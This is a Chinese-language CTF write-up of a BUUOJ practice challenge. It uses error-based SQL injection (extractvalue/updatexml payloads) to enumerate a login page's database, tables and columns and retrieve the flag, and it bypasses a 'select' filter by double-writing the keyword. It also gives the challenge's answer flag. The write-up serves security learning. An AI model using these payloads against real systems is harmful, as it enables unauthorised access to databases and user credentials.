目录
1. 观察
感觉没啥信息,源代码也没啥,猜测可能把一些注入点藏在某个文件中
这时候注意看一下进入靶场的页面提示哦
访问一下页面看看有啥提示不
2. 访问
查看源代码看看有啥注入点提示呗
顺着代码看下去,我们可以看到这些信息
作为刚进门的小白,当然就照提示做下去喽
3. 报错注入
尝试报错注入,利用burp抓包
http://9fe2d88c-1030-4eee-ab08-1cf5310b2999.node4.buuoj.cn:81/login.php?tips=1
爆库: 1' and extractvalue(1,concat(0x7e,database(),0x7e)) #
得到数据库:note
4. 爆表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
额,别急,应该是对一些关键字进行过滤了,尝试对select进行绕过哈,你可以用大小写或者双写绕过,都是可以的,当然也有其他办法,我就不一 一说明了
1' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
得到表: fl4g,users
5. 爆列
1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) #
得到:flag,id,username,passwd
所以只要知道username和password就可以啦,可是这俩是在哪一个表中我不清楚,于是,我分别爆出两张表的列
1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1) #
得到flag
1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
得到id,username,passwd
所以它们是在users表中
6. 爆值
1' and updatexml(1,concat(0x7e,(seselectlect group_concat(flag ) from (fl4g )),0x7e),1) #
得到flag
n1book{login_sqli_is_nice}